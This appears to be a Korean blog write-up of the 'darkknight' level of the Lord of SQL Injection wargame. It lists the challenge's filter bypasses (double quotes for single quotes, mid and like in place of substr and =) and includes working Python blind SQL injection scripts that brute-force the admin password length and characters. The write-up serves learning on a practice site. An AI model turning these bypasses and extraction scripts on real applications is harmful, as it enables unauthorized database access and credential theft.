yon11b

[los]darkknight_writeup 본문

보안/웹

[los]darkknight_writeup

yon11b 2022. 1. 13. 00:44
반응형

문제

조건

필터링 대체

  • pw에서 ‘ 을 쓸 수 없음 → “ 으로 대체 가능
  • no에서 ‘ 을 쓸 수 없음 → “ 으로 대체 가능
  • no에서 substr → substr('yon11b',3,1) 과 right(left('yon11b',3),1), mid(’yon11b’,3,1) 의 결과는 n 로 같다.
  • no에서 ascii → ord, hex으로 대체 가능
  • = → like 으로 대체 가능

정답 조건

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");

정확한 pw의 값을 구해야 해결할 수 있는 문제인 것 같다.


풀이

위에서 적은 것처럼 ' 우회는 " 로 하면 되지만 처음에는 이걸 몰랐기 때문에 시도 1,2,3을 하면서 삽질을 했다.

시도_1: ‘ 필터링 우회⇒URL 인코딩

일반적으로 어떤 문자가 필터링 당했을 때 URL 인코딩을 사용하여 우회한다.

?pw=1&no=1||id like %27admin%27 # '을 인코딩하면 %27이다.

하지만 되지 않았다.

 

 

시도_2: ‘ 필터링 우회⇒ 16진수로 변환하여

?pw=1&no=1||id like 0x27admin0x27 # '을 16진수로 바꾸면 0x27이다.

하지만 되지 않았다.

 

 

시도_3: admin자체를 16진수로 바꾸자

goblin에서도 했던 방법

?pw=1&no=1||id like 0x61646D696E #admin을 16진수로 바꾸면 저렇게 된다.

(16진수로 바꾸면 자동으로 문자열로 인식이 되므로 '을 안 써줘도 된다!)

admin까지는 접근에 성공했다.

 

 

시도_4: 스크립트 사용해서 pw 길이 구하기

import requests

url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?'
cookies={'PHPSESSID':'j161p7dahceti14le4pd13g1m7'}

def password_length():
    len_pw=0
    while 1 :
        len_pw += 1
        print(len_pw)
        data = "?no=1 || length(pw) like "+ str(len_pw)
        #response = requests.get(url, params=params, cookies=cookies)
        response = requests.get(url+data,cookies=cookies)
        if "Hello admin" in response.text:
            print("password length : ", len_pw)
            break
    return len_pw

password_length()

왜 안 되는지 몰랐는데 매칭을 잘못해줘서 그런 것 같다.

(url+data 가 아님?)

+ (22.02.03) 다시 보니 id like "admin"도 없고 코드가 엉망진창이라 안 된 것 같다.

 

 

4번째 시도를 하면서 들었던 의문 (해결)

 

?pw=1& no=1 || id like "admin" && length(pw) like 5를 쓰면

id like "admin"&& length(pw) like 5 까지 다 인식할 거라고 예상했는데

 

id like "admin" 까지만 인식한 거 같다..(화면에도 id like “admin”까지만 나와있음)

 

 

 

&&은 인식을 안하고 and 로 해주어야지 인식하는 것 같은데 이유는 모르겠다.

?pw=1 & no=1||id like "admin" id like "admin" && length(pw) like 5

 

 

 

시도5_다른 스크립트를 사용=>pw 길이 구하기 성공!

import requests

cookies={'PHPSESSID':'세션아이디'}
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?'    
len=0
while True:
    len+=1
    value="1 or id like \"admin\" and length(pw) like {} #".format(len)
    param={'no':value}
    print(param)
    response = requests.get(url=url,params=param,cookies=cookies)
    if "Hello admin" in response.text:
        print(len)
        break

params랑 cookies는 다 딕셔너리 형태로 만들어야 하는 것 같다.

8자리인 것을 알아냈다.

 

 

시도_6: pw 구하기

################안 되는 코드를 되게 만듦###################
import requests

cookies={"PHPSESSID":"세션아이디"}
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?'
result=''        
len=0
for i in range(1,9):
    for j in range(ord('0'),ord('z')): #hex('0')은 안 된다.
        len+=1
        #value="1 or id like char({}) and mid(pw,{},1) like char({}) #".format(str("admin"),i,str(j)) #실패
        #value="1 or id like 0x61646d696e and mid(pw,{},1) like char({}) #".format(i,str(j)) # 성공
        value="1 or id like \"admin\" and mid(pw,{},1) like char({}) #".format(i,str(j)) # 성공
        param={'no':value}
        print(param)
        URL=url

        response = requests.get(url=url,params=param,cookies=cookies)
        if "Hello admin" in response.text:
            print(chr(j))
            result+=chr(j)
            break
print(f'pw는 {result}입니다.')

참고: https://power-girl0-0.tistory.com/425

대문자로 입력하면 안되고 소문자로 입력해야 된다.

 

728x90

'보안 > ' 카테고리의 다른 글

[webhacking.kr]old-14 문제  (0) 2022.02.08
[webhacking.kr] old-01 문제  (0) 2022.02.08
los 문제보다가 갑자기 생긴 의문(해결)  (1) 2022.02.03
[DH] blind-command  (1) 2022.01.27
[los]golem_writeup  (1) 2022.01.13